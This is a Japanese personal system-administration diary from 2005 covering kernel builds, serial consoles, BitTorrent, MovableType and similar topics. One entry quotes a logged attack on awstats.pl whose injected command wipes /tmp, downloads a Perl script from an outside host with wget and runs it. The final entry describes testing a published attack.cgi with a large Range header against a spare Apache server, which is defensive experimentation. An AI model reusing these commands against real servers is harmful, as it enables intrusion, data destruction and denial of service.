僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
家に帰って↓を書いた途端、待ち構えたようにクローラがとんできた。
$ ls -l index.rdf -rw-r--r-- 1 user group 23664 Aug 1 21:35 index.rdf $ grep RSS $AGENT_LOG | tail -n1 210.188.228.30 - - [01/Aug/2005:21:37:35 +0900] \ "GET /~kuzu/diary/index.rdf HTTP/1.1" 200 23664 \ "-" "Mixi RSS Fetcher - Version 0.1"
でも次は明日だろうな。
Tiger上のブラウザ(SafariとFirefox)で
表示が崩れるのはなんとかせねば。
ちなみにw3mは、ターミナルでも特に違和感はない。
サーバに、そしてクライアントにも rsync-2.6.6 を make install。 聞くところによればzlib-1.2.3 を飲んだバージョンらしいが、 実はまだ、ドキュメントを全然読んで$*。
またまた修正。date の引数(月日)を "+%b %d" にしていたが、
"+%b %e"にしないと、昨日の日付が
"Aug 01"になってしまい、ログにマッチしなくなる。
"Aug 1"になったことを確認して、終了(多分)。
man date して調べていたが、偶然 LANG=C していたので %e に気付いた (日本語 man に %e は載ってなかった)。
あと、もう少し日本語 man を読み直すと、次のように書かれていた (実は JMのページ(の、ずっと下)から先に気付いた)。
文字埋め (padding) デ フォルトでは、 date は数値のフィールドを 0 で埋める。し たがって、例えば数値表示の月は常に 2 桁で出力される。 GNU は date の機能を拡張しており、以下の非標準の数値修正子を `%' とフィールドの間に置くことができる: - (ハイフン) フィールドを埋めない。出力が人に読まれる 場合には便利である。 _ (アンダースコア) フィールドをスペースで埋める。出力 に決まった数の文字が必要だが、0 を使いたくない場 合 に便利である。
$ LANG=C date "+%b %d" Aug 02 $ LANG=C date "+%b %-d" Aug 2 $ LANG=C date "+%b %_d" Aug 2
この修正子については英文の man にも載っていた。
でも正規のマニュアルは info に移行している模様。
perlmagickをTigerに入れたが、
昨日作ったスクリプトは動作しなかった。
libpcapを入れて(makefile.darwinを使う)、改めてImageMagick
をビルド。今度はできた。
某非公開MLでちょっとFedora Core2が気になってつつく。
2004年5月18日に正式リリースされ、
2005年4月15日にLegacyに移行した
Fedora Core 2は
zlib-1.2.1.1 を使ってる
らしい(ソースパッケージがあった)が、
Core 3 で行ったアップデートは、
まだなされていないようだ。
適当にぐぐっていると、 保守しているらしい情報にも 当たったが...
MacOSX のファイルシステムは、大文字小文字を表示上は 区別するけど(NTFSみたいに)、実体は同一、か?
mac:$ touch HOGE.txt mac:$ touch hoge.txt mac:$ ls -l total 0 -rw-r--r-- 1 user group 0 8 4 22:17 HOGE.txt mac:$ rm HoGe.TxT mac:$ ls -l mac:$
安定運用のおかげでしばらく放置気味だったが 2.1.21 を貰って見てみた。多分、重大なセキュリティホールは 見付かってないだろう。現用の 2.1.20 との差分は8000行以上に及んでいるが。
$ ls | uuencode -m - | head -n1 begin-base-64 644 - $ ls | uuencode -m - | tail -n1 ====
何となくマニュアルを読み直す(英文との差分を取っただけ)
%e(day of month, blank padded ( 1..31)) の他に、
%V(week number of year with Monday as first day of week (01..52))
が追加されている模様。
GNU CoreUtils-5.2.1 の date.1 も見た。更に追加いろいろ。
%C century (year divided by 100 and truncated to an integer) [00-99] %g the 2-digit year corresponding to the %V week number %G the 4-digit year corresponding to the %V week number %N nanoseconds (000000000..999999999) %P locale's lower case am or pm indicator (blank in many locales) %R time, 24-hour (hh:mm)
でも、追加されたオプションをいらってみたが、sh-utils2.0 の
date で出なかったのは %N だけだった。
マニュアルが実装に追い付いていない、らしい。
ついでにcoreutilsのinfoもあたってみたが、このあたりで気力が尽きた。
dhcpを3.0.3にあげた。適当なホストを起動して、/var/log/messages をチェック。
これまで pidファイルを変なところに置いたりしていたが、以後すべて /var/run の下にする。
zlibも、モノホンの1.2.3を入れた。configre --shread して、make && make install、ldconfig -v。古いのは慎重に削除。 ldd ssh sshd とかやって入れ替わって いる事を、確認した上で再起動、再接続。多分、大丈夫、だろう。
2005/06/26 21:34:42 ADSL回線通信中へ移行 2005/06/26 21:34:04 ADSL回線トレーニング中へ移行 2005/06/26 21:34:01 ADSL回線切断 2005/06/26 20:03:47 ADSL回線通信中へ移行 2005/06/26 20:03:09 ADSL回線トレーニング中へ移行 2005/06/26 20:03:02 ADSL回線切断 2005/06/26 20:02:41 ADSL回線通信中へ移行 2005/06/26 20:02:03 ADSL回線トレーニング中へ移行 2005/06/26 20:01:56 ADSL回線切断
日記を見直したが、気付かなかったようだ。
前に
やってみたような
気がするが、今一度試す。
ローカルのDNSサーバにAレコードを一行足す。名前解決を
確認したら httpd.conf に以下を追記、apachectl restart。
# コメント行を外しただけ NameVirtualHost *:80 # 元からあるサーバ # これを忘れると追記した方しか見えなくなった <VirtualHost *:80> ServerAdmin webmaster@example.com DocumentRoot $DocumentRoot ServerName www.kuzuore.com </VirtualHost> # 追記したサーバ <VirtualHost *:80> ServerAdmin webmaster@example.com DocumentRoot $NEW_DocmentRoot ServerName $NEW.kuzuore.com # あと適当に色々 </VirtualHost>
グローバルのDNSにも一行追記したが、伝達にしばらく掛かりそうだ。
と思ったら既に反映されていたことをAirHで確認。
あと、下手にぐぐるより、
本家に逝く方がまともな(日本語の:-) )
ドキュメントを拝めることも、また実感できた。
ring にミラーされるまで待てなかった。
特に新味はなさげ。.config をコピーして、make oldconfig しただけ。
bzImage は2.6.12.3より僅か小さくなっていた。
madwifiは思いきって cvs co してみた。でも、まだ試せる環境がない。
$ ls vmlinuz-2.6.12.* -rw-r--r-- 1 root root 1461116 Jul 20 04:41 vmlinuz-2.6.12.3 -rw-r--r-- 1 root root 1461082 Aug 7 07:57 vmlinuz-2.6.12.4
もう少しいらっておかないとageた意味が...
は、一時的な妥協の産物である。
引っ越し後放置していた段ボールのどれかから、
以前
ぷらっとで買った
片手キーボード(Matias Half Keyboard)
が出てきた。
早速 Plamo のノートに繋いでみる。
あっさり認識されたはいいが、問題はその先。
エディタ等を開いて打鍵しても、キー割り当てがいまいちよくわからない。
やむなくxev を立ち上げて適当に乱打しまくる。
そういうわけでtdiaryに書く端末がもう一つ必要になってしまった。のだ
(こんなの、派手なWebブラウザの、poor な編集画面に書きたくない)
ある程度パターンが読めた気がしたので、色々確認の意味でつっつきながら
こちらに転写してみる。 以下<pre></pre>
幾度となく書き直し。
------------------------------------------ | Tab | QP | WO | EI | RU | TY | A-Z | ------------------------------------------ | Return | A: | SL | DK | FJ | GH | Ctrl | ------------------------------------------ | Shift | Z? | X> | C< | V1 | BN | Alt | ------------------------------------------ | Matias | --------------------
"Matias"キーは一種のシフトキーらしい。Q,W,E,...が
P,O,I...と変る。
"A-Z" キーは一種の状態遷移および状態固定キーのようだ。
1回押すと、基本モードに復帰する。
2-4回押すと、それぞれ別のモードに遷移する。
適当に~/.Xmodmapしている自分の環境で、例えば "C<" キーは :
"A-Z" キーを1回押すと"C",","
"A-Z" キーを2回押すと"2","NumLock"
"A-Z" キーを3回押すと"NumLock"
"A-Z" キーを4回押すと"F11"
に変る。
ここまでは面白いが、実用 となると T-Code 以上に(ry
TigerのターミナルからPlamoノートに入って書き込みテスト。
w3m とnvi。日本語は端末からことえり。
ことえりのトグルがcommand+shiftで、時折Ctrl-l しないと
画面が崩れるが、まあまあだろう。migemoも使えてるし。
つか、Tiger だけではこの環境になかなかできない...
# mdconfig -a -t vnode -f xendemo-2.0.6.iso -u 0 # mount_cd9660 /dev/md0 /mnt
でデモCDの中は見えた(Tigerならダブルクリックするだけ)。 しかし、中にあるイメージファイル (freebsd.fs, etc)の正体はまだ謎。
父親のPCサポート。
6年前から使用しているWin98をWinXPに移行中。
うっかりケーブルを抜きっぱなしだったので
余計なトラブルを抱え込む羽目になった。
楽々はがき2001はWinXPでサポートされていなかった。
やれやれ。
少し溜っていたポイントにて、
RUF-C32MLをヨドバシで購入。
特に大容量が必要とも思えず、32MBで妥協。
帰途寄った文具のコンビニはもう少し安かったようだ。
# mount -t vfat /dev/sda1 /mnt であっさりOK(Plamo)。
おっと、FreeBSD-5.4は
Handbookをめくって、デバイスを確認し、
#mount_msdosfs /dev/da0s1 /mnt これもよし。
ネットワークのアスキーアートがずれて見える
事が実は普通であるらしい。
orzzzzzzzzzzzzzzzzzzzzzzzzz...
iMedio主催の講座一日目。Fireworks、そしてDreamwaver
との格闘は初めてだ。Web画面の製作者とはこういうもの
をこうつかっているらしい、と体感できた気分はなかなか。
それにしてもXeonなPCなど使ったのも初めてだ。Webブラウザだけでも
IE、Opera、Firefox、NN、そしてNetscape Communicator と山盛り。
GimpやImageMagick、ActivePerlなんかも。
SkypeやApache2.0.53も動いていた。
MSOfficeが入ってなかったのは需要がないから?
しかし、 Netに繋ぎ放題な一方で PersonalFirewallもアンチウィルスソフト
も確認できなかった。
WinXPのブルースクリーンを見たのも初めてだ。
幸いにして自分の作業マシンでなく。
出席者13人程の自己紹介から、元々外注していたWebサイト
製作/管理を内製化する動きを感じた。
タイトルの下の<p>の中に"/"が入っていたので削除。
2日目の今日はFlashMX。2万2千円を払う気になったのは 本来こちらである。.flaがMXの内部データ形式で.swfが webの閲覧形式であること(Gimpの.xcfと.pngみたいな ものか)、その他関連用語や概念色々。
をFreeBSD-5.3のMYKERNELに追記(USBフラッシュメモリのため) して make installまで進む。でもまだリブートさせていない...
iMedioのマシンにFFFTPが入ってたので、終る前に
ダウンロードを試してみた。
プログレスバーはずっと伸びず、伸びたかと思ったらあっという間だった。
FFFTP Ver.1.92 Copyright(C) 1997-2003 Sota. ---------------------------- ホスト ftp.kuzuore.com を探しています. ホスト ftp.kuzuore.com (210.138.41.18 (21)) に接続しています. 接続しました. (ry >RETR /pub/LinuxPersonalWorkstation-bm.pdf 150 Opening BINARY mode data connection for \ '/pub/LinuxPersonalWorkstation-bm.pdf' (7200413 bytes). 226 Transfer complete. ダウンロードは正常終了しました. (64 Sec. 112506 B/S).
午前中のみチュートリアル。午後は実践、らしかった。
夢と花火と閃光を適当をいじくっているうちに終った。
gimpもちょっと。やはり、だ。
と打鍵した途端、端末がえらく重くなった。
sync(1)のせいじゃない。丁度cronがupdatedbを
始めただけのことだった。
千駄ヶ谷まで二駅だった。
SEA & FSIJ合同フォーラムを初めて見た。
18切符を握って家を出たのは 7時過ぎ。
7時半に梅田、12時前に浜松、14時半に熱海、
16時過ぎに新宿。あと一駅、らしい。
$PATH に入れてもダメみたい。$HOME とは違い、実行はできても which で 探してくれないようだ(bash)。
~/some_dir$ echo $HOME /home/user/some_dir ~/some_dir$ echo ~ /home/user/some_dir ~/some_dir$ ls foo.sh foo.sh ~/some_dir$ foo.sh bash: foo.sh: command not found ~/some_dir$ PATH=$PATH:~/some_dir ~/some_dir$ foo.sh foo ~/some_dir$ which foo.sh which: no foo.sh in (ry ~/some_dir$ PATH=$PATH:$HOME/some_dir ~/some_dir$ which foo.sh /home/user/some_dir/foo.sh
キーボードを
FKB8579-USB から
HHK
(
PD-KB02)に変えた。
FKBはこれまでiMacと奪い合いながら使っていたのだ。
持っているHHKの古い方で、わりとソフトタッチ。接続に
ATC-USBPS2を使った。活線挿抜がいまいちな気もした。usbhidを
リロード。キー入力の度にLEDちかちか。
# dpkg --unpack f4l._02-1_i386.deb (Reading database ... 66658 files and directories currently installed.) Preparing to replace f4l 0.2-1 (using f4l_0.2-1_i386.deb) ... Unpacking replacement f4l ... # dpkg --configre f4l dpkg: dependency problems prevent configuration of f4l: f4l depends on libgcc1 (>= 1:4.0.0-9); however: Version of libgcc1 on system is 1:3.4.3-13. f4l depends on libqt3c102-mt (>= 3:3.3.4); however: Package libqt3c102-mt is not installed. f4l depends on libqt3c102-mt (>= 3:3.3.4-3); however: Package libqt3c102-mt is not installed. f4l depends on libxrender1 (>= 1:0.9.0-2); however: Version of libxrender1 on system is 0.8.3-7. dpkg: error processing f4l (--configure): dependency problems - leaving unconfigured Errors were encountered while processing: f4l
うーむ。debianパッケージを貰ってはきたが、今のところ他を選んだ方が よさげ、か?
熱海で乗り込んだものの、ずっと鮨詰だった。辟易して6時前に下車。
次の電車で大垣まで熟睡。
東京大阪間の18切符は、行きに9時間、帰りに12時間かかった。
で鯖にリモートログインしてtdiaryへ。
多分大垣まで逝けそうだ。
それにしても、リリースして一ヶ月しか経ってないのに、 こんなに溜ってるのか。
# yum update (ry Transaction Summmary ========================== Install 2 Package(s) Update 178 Package(s) Remove 0 Package(s) Total download size: 467 M Is this ok [y/N]: # netstat --inet Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 1 0 $desktop:45227 download.fedora.redhat:http / CLOSE_WAIT tcp 1 0 $desktop:47349 www.redhat.com:http / CLOSE_WAIT tcp 1 0 $desktop:47351 www.redhat.com:http / CLOSE_WAIT tcp 1 0 $desktop:47353 www.redhat.com:http / CLOSE_WAIT tcp 0 210 $desktop:46681 mirror.usu.edu:http / ESTABLISHED tcp 0 219 $desktop:47288 mirror.usu.edu:http / LAST_ACK
の
バイナリパッケージ
(FedoraCore4専用のはず)を
突っ込んだ。しかし、描画して(丸を描いただけ)選択しようと
しただけで"セグメント違反です"。
到底使えそうにない。
.torrentはDVDしかないようだった。
CDイメージをftpで落す。CDRWが3枚しか見当たらないので
1枚追加購入して焼き、リブート。既にGRUBが入ってるので
ブートローダは入れない。
DVD以外もあるのだろうか。タイトルではいまいち良く分らない。
実際に試して確認するのは次か、その次か...
ブートローダを入れてなかったが、結局は全部入れ直す羽目になった。
そしてバックアップしておいた MBR を書き戻した。
↓の手動設定が(あと一歩で...?)出来なかった。
Orz
title Fedora Core (2.6.11-1.1369_FC4) root (hd1,4) kernel /boot/vmlinuz-2.6.11-1.1369_FC4 ro \ root=LABEL=/1 rhgb quiet initrd /boot/initrd-2.6.11-1.1369_FC4.img
そこから先は適当。useradd の一行で新規ユーザ設定はどこがひっかかるか不明。 /etc/ssh と ~/.ssh を貰ってきた上でのリモートログインも問題なし、の筈。
自分の持つドメインの連絡先を、現在のプロバイダのアカウントに変更。
whois を引くと、既に反映された模様。
さて、その影響がspamに及ぶのはいつか?
がまたウザくなって来た。今度は千歳科学技術大学の方から、らしい。 間口をもっと狭めないと。
にちょっと追記。日記の字を大きく赤くしてみる。
あまり大きいと折り重なってはみだしてしまう。あまり綺麗にはならないかも。
firefox(Linux 及び Tiger)とSafariで確認。 もちろん、w3m では全くわからない。
うじゃうじゃ来た。
入れてないって言ってるのに。
$ grep "awstats.pl" $AGENT_LOG | wc -l 22 $ grep "awstats.pl" $AGENT_LOG | tail -n1 219.166.34.48 - - [14/Aug/2005:10:10:37 +0900] \ "GET /stats/cgi-bin/awstats.pl?configdir=|echo%20;\ cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;\ wget%20members.lycos.co.uk/newput/a.txt;\ perl%20a.txt;echo%20;rm%20-rf%20a.txt*;\ echo| HTTP/1.1" 404 472 "-" "Mozilla/4.0 \ (compatible; MSIE 6.0; Windows 98)"
ちょっとつつく。
wget で
なにやら取り寄せ、perlに喰わせた後、
消去している模様。
とはいえ、ログを見た限り、awstats.pl自体のセキュリティホールを突いているようには見えなかったり。
これで落せるサーバもあるんだろうか。
類例もう一点にもリンクしとこ。
蛇足。今のうちに
控えを取っておこう。こちらもなくならないうちに
手許にとっとく。
ログに記録されたような自動実行はできない筈だけど、
ご利用は自己責任でどうぞ。
名前解決のできなくなったホストがtcpdに撥ねられてリモートログイン できなくなる事を確認。
sshでログイン出来るホストを設定した上で、ネームサーバから当該ホストの
Aレコード(ついでにPTRも)をコメントアウトし、namedをリロードする。
その効果を確認してから(Host $HOST not found: 3(NXDOMAIN))、
再度接続しようとしても繋がらなくなる(元に戻すとすぐ繋がる)。
/etc/hosts.deny には
IPの一部とドメイン名でアクセスを制限していたので
(ALL:ALL EXCEPT .domain.tld, XXX.XXX.XXX.XXX/YYY.YYY.YYY.YYY)、
ドメインにないホストからのアクセスはsshdで認証される前に切られた。
小耳に挟んで試す。流石にmanは偉大だ。
w3mは(利用不能でないにしても)しんどい。linuxカーネルの make menuconfig
は事実上無理だろう。nvi はセグメンテーション違反で落ちた。
$ TERM=dumb emacs -nw emacs: Terminal type "dumb" is not powerful \ enough to run Emacs. (ry
他のUSB機器と違い、突っ込んだだけでは(現状、)Plamoで認識させられ
ないでいる。
でも、ハイバネーション後必ず生き返る(これも逆)。
鯖の間口をもっと狭めておいた。少なくとも 昨日悪戯してきた(もちろん Invalid user) 210.139.169.24 あたりは弾く筈である。
sshd のログをよく見ているうちに、"can't verify hostname"なんて warning をいくつか見た。弾いている模様ではあるが、もう少し きちんと確認したいところだ。
$ man 8 tcpd (ry tcpd は、アドレス→名前の翻訳を行なう DNS サーバから返答さ れるクライアントのホスト名と、名前→アドレスの翻訳を行なう DNS サ ーバから返答されるホスト名とを突き合わせ、確認を行 う。何らかの矛盾が発覚すると、 tcpd は、これはどこかよその ホストの名前を偽装しているホストとの取り引きである、と判定 する。
なんだかこれを知りたがってるっぽい香具師がサーチエンジン
経由で頻々と来訪するので、ひとつ実験してみた。以下、Fedora
Core のデスクトップとPlamoのノートのを、
USBシリアル変換ケーブル(SRC06-USB)+RS-232Cケーブル+
リバースアダプタでつないでみた噺である。
結論を言えば、何も他のシステムと変りはない。
まず端末にするノートにUSBシリアル変換ケーブルを挿す(シリアルポートがない)。
このあたりは
以前書いた通り。
で、デスクトップのシリアルポート(ttyS0)に繋ぐ。
Fedora 側は次の一行を /etc/inittab に書いて、kill -HUP 1 するだけだ。
もちろん再起動しても同じである。
(/sbin/mgettyや/sbin/mingetty もやってみたが、うまく動かなかった)
hoge:2345:respawn:/sbin/agetty 9600 ttyS0 vt100
ついでに逆もやってみた。Fedora 側を端末にしてみる。
ノート側は、これも前にやった
通り。
Fedora側は、先程の一行をコメントアウトして再び kill -HUP 1。
適当に # yum install ckermit で目的のものをゲット。
めんどいので root でやってしまった。
# cat ~/.kermrc set line /dev/ttyS0 set speed 9600 set carrier-watch
おまけ。
FedoraのデスクトップにもUSBシリアル変換ケーブルを突っ込んでみた。
/dev/ttyUSB0 がすぐ認識された。で、ケーブルの両端を USBと
シリアルポートの双方に差し込み、自分から自分へのログインを試す。
USB側から ttyS0にログインし、ついで接続を逆にする。
手順は最前と特に変らなかったが、設定を逆(/etc/inittab を
ttyS0 からttyUSB0)
に変えて、kill -HUP 1 しても切り替わらない。
ps aux | grep agetty すると、依然として ttyS0 に向いたまんま。
USBケーブルを抜き挿ししてもダメ。ふと気がついて、
くだんのagettyなプロセスめがけて kill -HUP。
するとようやく ttyUSB0 に agetty が目を向けるように
なった。
いじょ。
いちいち $ for file in *.jpg ; do display $file; done なんてやるより手っ取り早い、事に今まで 思い当たらなかった。 ImageMageckのドキュメント(man はかなり 貧弱になったが) 位は読んどかないと。
セキュリティ対策版らしい。ので早めにゲット。
やはりまだringには来ていない。
例によって .config をコピーして make oldconfig。make menuconfig
に少し手を入れた。
... 特に変った様子なし。madwifi と spca の
ドライバもmake clean && make && make install しておく。
がindex.rdfに吐かれるのはなぜなんだろう。
mixiを見ていると、
昨日の日記の項目が2箇所もダブっている事に気付く。それぞれ
存在するURL(#p02
,#p03)と、
存在しないURL(#p04,#p05)と両方にリンクされてしまっている。
index.rdfを消したり作成したりしながら昨日の日記を色々いじってみたが、
結局直らないまま根気が尽きた。
$ nkf -e $RDF | grep "^<title>animate" <title>animate -delay</title> <title>animate -delay</title>
いじっているうちに、また<title></title>が出来てしまった。 これもまた消せない...
が結局、cache を消して(index.rdfは何もしなくても良かったかも) 再度読み書きすると、消せた。なんとか解決。
$ nkf -e $RDF | grep "^<title>" <title>存在しないURL</title> <title>kernel2.6.12.5</title> <title>animate -delay</title> <title>FedoraCore4 with シリアルコンソール</title> <title>パスワード?</title> <title>AdobeReader</title>
Webサーバの一部にアクセス制限をかけてみた。が、
ケータイからIDやパスワードを打ち込ませるのは非現実的なようだ
(打ち間違うのが普通らしい)。
さて、どうしたものか。入力しやすそうな記号を当てても、
どこまで共通なのか分らない...
tdiaryからMovableTypeへのトラックバックも試す。そんだけ。
いや、その後すぐブログサイトは閉じた。
mt.cfgを他所に見せずにMovableTypeを動かす方法が
見付からなかった。他、create user だけだとPostgreSQLの
スーパーユーザができちゃったっぽい。これもまずそう。あと
何だったっけ。
さしあたり pg_ctl stop の後、chmod 000 public_html しておく。
$ LANG=C ls -il `which gzip gunzip zcat` 557102 lrwxrwxrwx 1 root root 4 Mar 23 01:16 /bin/gunzip -> gzip 557094 -rwxr-xr-x 1 root root 50020 Jan 15 2002 /bin/gzip 557103 lrwxrwxrwx 1 root root 4 Mar 23 01:16 /bin/zcat -> gzip
ぐぐるとすぐ日本法人のページに飛んだ。
typekey作成。
日本語に慣れた人向けと思えるページの彼方に、
英語のできない人に読ませる気のなさそうなLicenseAgreement。
SUBMITすると、一瞬何か間違ったかと思わせるページが出た。
待つ程もなくContent-type: text/plain; charset=utf-8なメールが
飛んで来て、無事認証を済ます。
続いて3.171-full-jaのダウンロード。
限定個人ライセンスを選択。宣伝条項を含んだライセンスを
確認して*.tar.gzをダウンロード。
普段通り tar xvfz $file したため、その後の確認にひどく時間が
かかる結果となった。
ダウンロードしたファイル達を gzip -d すると必ず2が返る(すわ
壊れたか、と早合点)。
おまけに、解凍前の md5 の値はそれぞれ異っていた。
非圧縮(および解凍後)は同一になったけど。
これは落したブラウザが Firefox でも Safariでも、IE6でも同様。
*.zipにしても、二つと同じ物はゲットできなかった。
<このすぐ上から引用>
(アーカイブの展開手順についてサポートが必要ですか?)
</このすぐ上から引用>
そうですか。
あとデータベースちょこちょこ。で、一応無事起動。
しかしPostgreSQL(実は使う必然性皆無)のためか否か、
現用の鯖(Celeron300MHz,Mem64MB)では
素敵に重かった。
手許のもっと早いPCで試そうかとも思ったが、既に
一台にインスコした以上、もはやタダでは無理ぽ。
Postgresql8.0.3 を鯖に入れた。
その前(7.4.5)に pgdumpall > dump.db してみたが、
dump.db は 2kb程にしかならなかった。
お試し程度で放置していたから当然か。
~/pgdata を消して、 initdb --encoding=EUC_JP --no-locale。
最新安定版で (日本語の)ドキュメントが整っているのは、やはり有難い。
ついでCPANへ。
DBI-1.48とDBD-Pg-1.43 も入れた。その前にTest-Simple-0.6も要った。
タグを何度も確認したり、"文字実体参照" を "数値文字参照" に 変えたりしたが、それでも w3m で表示が崩れる。原因さえわからない...
追記。閉じタグのつもりが閉じてなかっただけだった...
orz
を 初めて書いてみた。
タグにスタイル属性 <p> を <span style=" background: lightgreen; color: OrangeRed; font-size: 1.5em;"> 初めて</span>書いてみた。 </p>
ついでに昨日のおかしな表示を見直す。
...単に閉じタグを間違えていただけだった。
$ diff -c 20.txt 21.txt *** 20.txt 2005-08-21 18:11:53.000000000 +0900 --- 21.txt 2005-08-21 17:58:34.000000000 +0900 *************** *** 8,11 **** font-size: 1.5em;"> 初めて</span>書いてみた。 </p> ! <pre> --- 8,11 ---- font-size: 1.5em;"> 初めて</span>書いてみた。 </p> ! </pre>
<title></title>がなかなか消せない原因はここにあったようだ。
banner(6)が吐いたテキストで少し遊ぶ。
各行の文字数を揃え、 paste(1)で2行(?)を くっつける。 ついでperlmagickで 画像に 変換してみる。自力では縦から横にできず、 convert(1) で画像縮小及びjpeg化と一緒に270度引っくり返す ($ convert -resize 10% -rotate 270 image.png image.jpg)。
grubの起動時画像を作ろうかと思ったが、失敗。info位は読まないと。
あと、gimpでも色々いじってみたが、決定打と思えるものができる前に飽きた。
バーチャルホストの設定を引っ込めた。しばらく放置していたが、
やはり使ってないものはさっさと(ry。
MovableTypeのディレクトリは000にしておいたが、ついでに
そこのユーザも $user:*:$uid:$gid しておいた。
カーネルを2.6.12.5 にした時色々モジュールにしたが、
なんか変なので、make oldconfig だけに戻す。
FreeBSD-5.4-Releaseの場合は、かなり趣が異っている。
Absolute BSD によれば、/boot/loader.conf に console="comconsole"でOK だけど、そうすると起動メニューがシリアルにしか見えなくなる。 ログインプロンプトが出るまでのメッセージもモニタにはほとんど出ない。
自動判別に任せようと、上記の設定を#し、キーボードを抜いて デスクトップのスイッチを入れてみた。すると、BIOS起動画面で 止ってしまった。エラーメッセージは実に間が抜けている。
(ry Keyboard error or no keyboard present Press F1 to contine, DEL to enter SETUP.
一体どうやってF1やDELを押すのかと(ry
適当にBIOSメニューをいらったが、キーボードなしで次に進む
設定は見付からなかった
ので、このデスクトップでは、ここまで。
(鯖のいくつかはキーボードを外して起動させているけど)
後記:ちゃんと確認できてなかった。
まずはLinux。
ITMediaをみながら
シリアルポートで起動時メニューを拝んでみる。
まずGRUB。
# Start GRUB global section serial --unit=0 --speed=9600 --word=8 --parity=no \ --stop=1 terminal --timeout=10 serial console
ここまでは簡単だったが、linuxの起動時メッセージを シリアルに流せるようになるまでしばらく難渋。 カーネル起動オプションに
console=tty0 console=ttyS0,9600n8r
を追加しただけではダメ。
シリアルをモジュールからカーネルに組み込み、かつ
シリアルポートをシステムコンソールとして有効にする必要があった。
# Serial drivers CONFIG_SERIAL_8250=y CONFIG_SERIAL_8250_CONSOLE=y
<引用>
Linux Kernel v2.6.12.3 Configuration
Console on 8250/16550 and compatible serial port
CONFIG_SERIAL_8250_CONSOLE:
If you say Y here, it will be possible to use a serial port as the
system console (the system console is the device which receives all
kernel messages and warnings and which allows logins in single user
mode). This could be useful if some terminal or printer is connected
to that serial port.
</引用>
でようやくGRUBからlogin: までがシリアルコンソールから見えるようになった。
BittoradeのREADMEにWebサーバとの連携が書いてあった。
httpd.conf に
AddType application/x-bittorrent .torrent と書き添えてapacheを
再起動してみた。
torrentをリンクしたwebページ (LAN内でのみ見える) も作ってみた。
本家ページからWinやMacOSXのクライアントを貰って試す。 .torrentファイルの生成もGUIでできるようになっていた。
あとは、普段ログインしていない鯖でオリジンダウンローダを
起動しっ放しにする方法を確認しなければ。
それから、LANの外へのアップロードもやってみるべし。
仕様書の和訳(Thanks!)をちょっと。
"オリジンダウンローダ"をあらかじめ起動する必要があったようだ。
オリジンのダウンロード(必要か?)が終った途端、
待ち構えていた他のホストが、ダウンロードをすぐ始めた。
LANのホスト(FreeBSD-5.4,Tiger,Woody,Plamo4)いくつかでダウンローダを起動してみる。
全部sshでリモートログインしているせいか、
それともseedが一つしかないせいかどうか、
ともかくさほど速い感じがしない。
----------------------------------------------------------- | file: myfile | | size: 664,403,968 (634 MiB) | | dest: /origin/myfile | | progress: _______________________________________________ | | status: download succeeded! | | dl speed: --- | | ul speed: 163.3 KB/s | | sharing: oo (211.9 MB up / 0.0 MB down) | | seeds: 0 seen recently, plus 0.331 distributed copies | | peers: 3 seen now, 33.1% done at 470.5 kB/s | -----------------------------------------------------------
あと、ダウンローダをうんと後から割り込ませてみたが、 他に追い付くまでは勢いよくダウンロードしていた。
------------------------------------------------------ | file: myfile | | size: 664,403,968 (634 MiB) | | dest: /path/myfile | | progress: #######___________________________________ | | status: finishing in 0:04:36 (12.2%) | | dl speed: 2092.3 KB/s | | ul speed: 104.2 KB/s | | sharing: 0.057 (4.4 MB up / 77.5 MB down) | | seeds: 1 seen now, plus 0.708 distributed copies | | peers: 3 seen now, 51.8% done at 740.2 kB/s | ------------------------------------------------------
他のダウンローダも懸命にアップロードしている。
------------------------------------------------------ | file: myfile | | size: 664,403,968 (634 MiB) | | dest: /path/myfile | | progress: ###############################___________ | | status: finishing in 0:19:14 (71.5%) | | dl speed: 153.1 KB/s | | ul speed: 1156.0 KB/s | | sharing: 1.751 (792.7 MB up / 452.8 MB down) | | seeds: 1 seen now, plus 0.714 distributed copies | | peers: 3 seen now, 35.0% done at 1007.8 kB/s | ------------------------------------------------------
適当な.torrentをとって、接続開始をEterealでキャプチャしてみた。
名前解決が済んで、目的のIPと3ハンドシェーク。
の後 PSH と ACK の立ったパケットを送信。
これには GET /announce?info_hash=%hoge%hoge...が含まれている
相手側からACKが返り、ついで PSH と ACK に HTTP/1.0 200 OK...
な返信。
その後 FIN と ACK を交わして、くだんのIPとの通信は途切れた。
コネクションが切れるのを待たず、新たに 8つものIPに向けて一斉に
TCPコネクションを張っていた。それらと Bittorrent のハンドシェークを始め、
しかるのちにアップダウン、さらにその間にゲットした別のIPとも同じく...なのか?
proftpd-1.3.0-rc2を入れた。
/etc/ftpuser に気に染まないのを目一杯入れておく(anonymousもとりあえず禁止)。
standalone で動作確認して、すぐ閉めた。
ついでにカーネルを2.6.12.5 に上げた。
$ ./btdownloadcurses.py myfile.torrent ----------------------------------------------------- | file: myfile | | size: 664,403,968 (634 MiB) | | dest: /path/myfile | | progress: _________________________________________ | | status: connecting to peers (0.0%) | | dl speed: 0.0 KB/s | | ul speed: 0.0 KB/s | | sharing: 0.000 (0.0 MB up / 0.0 MB down) | | seeds: 0 seen now, plus 0.000 distributed copies | | peers: 0 seen now, 0.0% done at 0.0 kB/s | -----------------------------------------------------
myfile はいくら待っても0KBのまんま。
$ btmakemetafile.py http://torrent.kuzuore.com:$port_num/announce \ myfile 16.8% complete (ry $ ls -a myfile myfile.torrent
TRACKER:$ ./bttrack.py --port 6969 --dfile dstate TRACKER:$ nmap localhost Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at \ 2005-08-23 01:34 JST Interesting ports on localhost (127.0.0.1): (The XXXX ports scanned but not shown below are in state: closed) PORT STATE SERVICE (ry 6969/tcp open acmsoda
自分の持つドメインに、ホスト名をひとつ追加しておいた。
proftpd-1.3.0rc2を入れた。WinXPを含む(というより、 一緒くたになっていて分割できない) ノートのプリインストールソフトのアーカイブ を自分自身にもバックアップするためだ。
セキュリティホールmemoより。 リンク先のスクリプトを予備機(2.0.54)にコピペし、適当にテスト。
$ telnet $SERVER 80 POST /cgi-bin/attack.cgi HTTP/1.1 HOST: $MYHOST Range: bytes=20000000-35000000 (enter) (enter)
結果が出力されるまでしばらくかかった。
topコマンドで見ていると、
CPU使用率が8割程まであがったあげく、attack.cgiは
<defunct> とか表示されて実行を中断されてしまった。それから
